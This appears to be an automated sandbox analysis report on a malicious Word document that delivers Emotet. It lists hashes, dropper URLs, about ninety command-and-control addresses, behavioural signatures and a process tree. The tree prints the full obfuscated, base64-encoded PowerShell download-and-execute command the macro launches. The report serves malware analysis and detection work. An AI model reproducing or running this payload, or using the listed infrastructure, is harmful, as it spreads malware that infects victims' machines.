Analysis
- max time kernel
136s - max time network
153s - platform
windows10_x64 - resource
win10 - submitted
03/09/2020, 22:59
Static task
static1
Behavioral task
behavioral1
Sample
T_73170638159628113306587.doc
Resource
win7v200722
General
- Target T_73170638159628113306587.doc
- Size 190KB
- Sample200903-sf6mzzyba2
- SHA256 f95add757971b2b4deabdb71a2aaaddf3ea0cd2562b6bf7c1db04298470477ba
- MD5 0718b33206b5153c41616a758e469ba6
- SHA1 27a41948f944f07313fda53b0ccf36dcac933fdb
- SHA512 814960d335c05067b1f1a42c66139dc2b5f93b4fb7c7f26db29d0b28bf971c4b099710fa7e3bf58f9182ee64cbd121eaae8ce13d96ec2826ea72502517cd3542
- MD5 SHA1 SHA512
Malware Config
Extracted
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ps1
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exe.dropper
http://homokfuvo.com/files/QSNUeuP/
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exe.dropper
http://gforcems.it/modules/B/
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exe.dropper
http://planodesaudetotal.com/erros/wUI/
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exe.dropper
http://rvad.com/img/K0YvsA/
-
exe.dropper
http://vendasdesaude.com/erros/zyHmix/
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exe.dropper
https://scenic-heap.de/_private/ZZHi/
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exe.dropper
https://elektro-grell.de/cgi-bin/o8Xj1y/
Extracted
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emotet
-
192.158.216.73:80
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85.214.28.226:8080
-
142.44.137.67:443
-
162.241.242.173:8080
-
85.152.162.105:80
-
62.30.7.67:443
-
78.24.219.147:8080
-
74.120.55.163:80
-
169.239.182.217:8080
-
216.208.76.186:80
-
95.213.236.64:8080
-
200.114.213.233:8080
-
104.131.44.150:8080
-
70.121.172.89:80
-
75.139.38.211:80
-
185.94.252.104:443
-
97.82.79.83:80
-
103.86.49.11:8080
-
79.98.24.39:8080
-
83.169.36.251:8080
-
188.219.31.12:80
-
74.208.45.104:8080
-
137.59.187.107:8080
-
174.45.13.118:80
-
194.187.133.160:443
-
50.81.3.113:80
-
201.173.217.124:443
-
139.99.158.11:443
-
68.188.112.97:80
-
113.160.130.116:8443
-
173.62.217.22:443
-
139.130.242.43:80
-
190.160.53.126:80
-
137.119.36.33:80
-
209.141.54.221:8080
-
24.179.13.119:80
-
120.150.60.189:80
-
107.5.122.110:80
-
121.124.124.40:7080
-
203.153.216.189:7080
-
157.245.99.39:8080
-
85.105.205.77:8080
-
173.81.218.65:80
-
110.145.77.103:80
-
47.144.21.12:443
-
95.179.229.244:8080
-
187.161.206.24:80
-
46.105.131.79:8080
-
189.212.199.126:443
-
168.235.67.138:7080
-
24.137.76.62:80
-
85.66.181.138:80
-
200.41.121.90:80
-
5.39.91.110:7080
-
104.236.246.93:8080
-
172.91.208.86:80
-
99.224.14.125:80
-
37.139.21.175:8080
-
109.74.5.95:8080
-
1.221.254.82:80
-
61.19.246.238:443
-
5.196.74.210:8080
-
67.205.85.243:8080
-
79.137.83.50:443
-
94.200.114.161:80
-
70.180.43.7:80
-
190.55.181.54:443
-
47.146.117.214:80
-
89.205.113.80:80
-
37.187.72.193:8080
-
84.39.182.7:80
-
104.131.11.150:443
-
139.162.108.71:8080
-
87.106.136.232:8080
-
153.232.188.106:80
-
37.70.8.161:80
-
112.185.64.233:80
-
87.106.139.101:8080
-
94.23.237.171:443
-
24.43.99.75:80
-
203.117.253.142:80
-
98.109.204.230:80
-
93.147.212.206:80
-
91.211.88.52:7080
-
139.59.60.244:8080
-
176.111.60.55:8080
-
180.92.239.110:8080
-
62.75.141.82:80
-
174.102.48.180:443
Signatures
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 1536 632 powershell.exe 73 - Blacklisted process makes network request 1 IoCs
flow pid Process 14 1536 powershell.exe - Executes dropped EXE 2 IoCs
pid Process 988 Uwxxu273.exe 2288 atmlib.exe - Drops file in System32 directory 1 IoCs
description ioc Process File opened for modification C:\Windows\SysWOW64\KBDUSR\atmlib.exe Uwxxu273.exe - Drops file in Windows directory 1 IoCs
description ioc Process File opened for modification C:\Windows\ServiceProfiles\LocalService\winhttp\cachev3.dat svchost.exe - Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE - Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE - Modifies data under HKEY_USERS 5 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad svchost.exe Key created \REGISTRY\USER\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\0e-3e-6f-2c-c8-c7 svchost.exe Set value (int) \REGISTRY\USER\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\0e-3e-6f-2c-c8-c7\WpadDecisionReason = "1" svchost.exe Set value (data) \REGISTRY\USER\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\0e-3e-6f-2c-c8-c7\WpadDecisionTime = 2d98c43a4682d601 svchost.exe Set value (int) \REGISTRY\USER\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\0e-3e-6f-2c-c8-c7\WpadDecision = "0" svchost.exe - Suspicious behavior: AddClipboardFormatListener 2 IoCs
pid Process 3704 WINWORD.EXE 3704 WINWORD.EXE - Suspicious behavior: EnumeratesProcesses 7 IoCs
pid Process 1536 powershell.exe 1536 powershell.exe 1536 powershell.exe 2288 atmlib.exe 2288 atmlib.exe 2288 atmlib.exe 2288 atmlib.exe - Suspicious use of AdjustPrivilegeToken 3 IoCs
description pid Process Token: SeShutdownPrivilege 2860 svchost.exe Token: SeCreatePagefilePrivilege 2860 svchost.exe Token: SeDebugPrivilege 1536 powershell.exe - Suspicious use of SetWindowsHookEx 13 IoCs
pid Process 3704 WINWORD.EXE 3704 WINWORD.EXE 3704 WINWORD.EXE 3704 WINWORD.EXE 3704 WINWORD.EXE 3704 WINWORD.EXE 3704 WINWORD.EXE 3704 WINWORD.EXE 3704 WINWORD.EXE 988 Uwxxu273.exe 988 Uwxxu273.exe 2288 atmlib.exe 2288 atmlib.exe - Suspicious use of WriteProcessMemory 6 IoCs
description pid Process procid_target PID 1536 wrote to memory of 988 1536 powershell.exe 79 PID 1536 wrote to memory of 988 1536 powershell.exe 79 PID 1536 wrote to memory of 988 1536 powershell.exe 79 PID 988 wrote to memory of 2288 988 Uwxxu273.exe 80 PID 988 wrote to memory of 2288 988 Uwxxu273.exe 80 PID 988 wrote to memory of 2288 988 Uwxxu273.exe 80
Processes
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C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\T_73170638159628113306587.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:3704
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -s WinHttpAutoProxySvc1⤵
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:2860
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -e JABQAGwANgA0AHQAMABqAD0AKAAoACcAVgBlAHAAJwArACcAXwAnACkAKwAoACcAMABiACcAKwAnAHAAJwApACkAOwAmACgAJwBuAGUAJwArACcAdwAtAGkAdAAnACsAJwBlAG0AJwApACAAJABlAG4AdgA6AFUAcwBFAHIAcABSAG8AZgBpAGwAZQBcAHQAYQB5AFoAMwBsADYAXABvAG0AZgA0AEMAVgBZAFwAIAAtAGkAdABlAG0AdAB5AHAAZQAgAGQASQBSAGUAQwB0AE8AUgBZADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAEUAQwB1AHIAaQBgAFQAWQBwAHIAYABPAGAAVABPAGMAbwBMACIAIAA9ACAAKAAoACcAdAAnACsAJwBsAHMAMQAyACcAKQArACcALAAnACsAJwAgAHQAJwArACcAbAAnACsAJwBzADEAJwArACgAJwAxACwAIAB0ACcAKwAnAGwAcwAnACkAKQA7ACQAWQBxAHUAcgBkADUAcgAgAD0AIAAoACgAJwBVACcAKwAnAHcAeAAnACkAKwAoACcAeAAnACsAJwB1ADIANwAzACcAKQApADsAJABKADUAeQBlAHUAaABuAD0AKAAoACcAUAA3ACcAKwAnADMAJwApACsAKAAnAF8AJwArACcAegA5ADQAJwApACkAOwAkAEMAdQAyAG8AYQBrAG0APQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAKAAoACcAewAwAH0AJwArACgAJwBUAGEAJwArACcAeQB6ADMAJwApACsAJwBsACcAKwAnADYAJwArACcAewAwAH0AJwArACgAJwBPACcAKwAnAG0AZgA0AGMAdgAnACsAJwB5ACcAKQArACcAewAwAH0AJwApACAAIAAtAEYAIAAgAFsAQwBIAEEAUgBdADkAMgApACsAJABZAHEAdQByAGQANQByACsAKAAnAC4AZQAnACsAJwB4AGUAJwApADsAJABEADcAeQA3ADYAcQB0AD0AKAAoACcATgAnACsAJwBhAHEAMABhACcAKQArACcAcAAnACsAJwA2ACcAKQA7ACQARQBiAF8AOQBtAGsAbgA9AC4AKAAnAG4AZQB3AC0AbwAnACsAJwBiACcAKwAnAGoAZQBjAHQAJwApACAAbgBlAHQALgB3AGUAQgBDAEwAaQBFAG4AVAA7ACQAVQBmAG8AbgBwAHMAdAA9ACgAKAAnAGgAJwArACcAdAB0AHAAOgAnACsAJwAvAC8AJwApACsAKAAnAGgAbwAnACsAJwBtACcAKQArACgAJwBvAGsAZgB1ACcAKwAnAHYAJwArACcAbwAuACcAKQArACgAJwBjACcAKwAnAG8AbQAvACcAKwAnAGYAaQAnACkAKwAoACcAbABlACcAKwAnAHMALwBRAFMAJwArACcATgBVAGUAJwApACsAKAAnAHUAUAAvACcAKwAnACoAJwArACcAaAB0AHQAcAAnACkAKwAoACcAOgAnACsAJwAvAC8AJwApACsAJwBnAGYAJwArACcAbwByACcAKwAoACcAYwAnACsAJwBlAG0AcwAuACcAKwAnAGkAJwApACsAKAAnAHQALwBtACcAKwAnAG8AJwApACsAJwBkACcAKwAoACcAdQBsACcAKwAnAGUAcwAvAEIAJwApACsAKAAnAC8AKgBoAHQAJwArACcAdABwACcAKwAnADoALwAvACcAKwAnAHAAbABhAG4AbwAnACsAJwBkACcAKwAnAGUAcwAnACkAKwAoACcAYQB1ACcAKwAnAGQAJwArACcAZQB0AG8AdABhAGwALgBjAG8AJwArACcAbQAvACcAKwAnAGUAcgByACcAKQArACgAJwBvACcAKwAnAHMALwAnACkAKwAoACcAdwBVAEkAJwArACcALwAqACcAKQArACcAaAB0ACcAKwAnAHQAcAAnACsAJwA6AC8AJwArACcALwAnACsAKAAnAHIAdgAnACsAJwBhAGQALgAnACkAKwAnAGMAJwArACcAbwAnACsAJwBtACcAKwAoACcALwBpACcAKwAnAG0AZwAnACsAJwAvAEsAJwArACcAMABZAHYAcwBBACcAKwAnAC8AKgBoAHQAJwApACsAKAAnAHQAcAA6AC8ALwB2AGUAJwArACcAbgBkAGEAJwArACcAcwBkACcAKQArACcAZQBzACcAKwAnAGEAJwArACgAJwB1AGQAZQAnACsAJwAuAGMAbwAnACkAKwAoACcAbQAvACcAKwAnAGUAcgByAG8AJwArACcAcwAvACcAKQArACcAegB5ACcAKwAnAEgAJwArACgAJwBtAGkAeAAvACcAKwAnACoAaAB0AHQAJwArACcAcAAnACsAJwBzADoALwAvACcAKwAnAHMAYwBlAG4AJwApACsAKAAnAGkAJwArACcAYwAnACsAJwAtAGgAZQBhAHAAJwApACsAKAAnAC4AJwArACcAZABlACcAKQArACcALwAnACsAKAAnAF8AJwArACcAcAByAGkAdgBhAHQAZQAnACsAJwAvACcAKwAnAFoAJwApACsAJwBaAEgAJwArACgAJwBpAC8AKgBoAHQAdABwACcAKwAnAHMAOgAnACkAKwAnAC8ALwAnACsAKAAnAGUAbAAnACsAJwBlAGsAdAAnACsAJwByAG8ALQAnACkAKwAoACcAZwByACcAKwAnAGUAbABsACcAKQArACgAJwAuACcAKwAnAGQAZQAvAGMAZwBpACcAKwAnAC0AYgAnACkAKwAoACcAaQAnACsAJwBuACcAKwAnAC8AbwA4AFgAJwApACsAKAAnAGoAJwArACcAMQB5AC8AJwApACkALgAiAHMAYABwAEwASQBUACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQAQgBjAGcAZQB3AG8AawA9ACgAJwBCAGgAJwArACgAJwBuAGcAJwArACcAeQB4ACcAKQArACcAZAAnACkAOwBmAG8AcgBlAGEAYwBoACgAJABMAGoAYwBvAHkAaQBxACAAaQBuACAAJABVAGYAbwBuAHAAcwB0ACkAewB0AHIAeQB7ACQARQBiAF8AOQBtAGsAbgAuACIAZABvAHcAbgBgAGwATwBhAGAAZABgAEYAaQBMAEUAIgAoACQATABqAGMAbwB5AGkAcQAsACAAJABDAHUAMgBvAGEAawBtACkAOwAkAFcAOABwADYAaQA3ADYAPQAoACgAJwBIADIAJwArACcAdwAnACkAKwAoACcAdAAyACcAKwAnAHAAMgAnACkAKQA7AEkAZgAgACgAKAAmACgAJwBHAGUAJwArACcAdAAtAEkAdABlACcAKwAnAG0AJwApACAAJABDAHUAMgBvAGEAawBtACkALgAiAGwAZQBgAE4ARwBUAEgAIgAgAC0AZwBlACAAMgAzADQAMwAwACkAIAB7ACYAKAAnAEkAbgB2AG8AJwArACcAawAnACsAJwBlAC0ASQAnACsAJwB0AGUAbQAnACkAKAAkAEMAdQAyAG8AYQBrAG0AKQA7ACQASQA4AHcAMwB5AGYAMgA9ACgAKAAnAFMANQB4AGMAJwArACcAbQAnACkAKwAnAGsAOAAnACkAOwBiAHIAZQBhAGsAOwAkAFUAZABlAF8AXwBpAGcAPQAoACgAJwBHACcAKwAnADUANgA0ACcAKQArACgAJwAyACcAKwAnAGgAeQAnACkAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQARgBnAG0AMQByADgAZwA9ACgAJwBSACcAKwAoACcAawB0AGMAJwArACcAaAA1ADAAJwApACkA1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1536 -
C:\Users\Admin\Tayz3l6\Omf4cvy\Uwxxu273.exe"C:\Users\Admin\Tayz3l6\Omf4cvy\Uwxxu273.exe"2⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:988 -
C:\Windows\SysWOW64\KBDUSR\atmlib.exe"C:\Windows\SysWOW64\KBDUSR\atmlib.exe"3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
PID:2288
-
-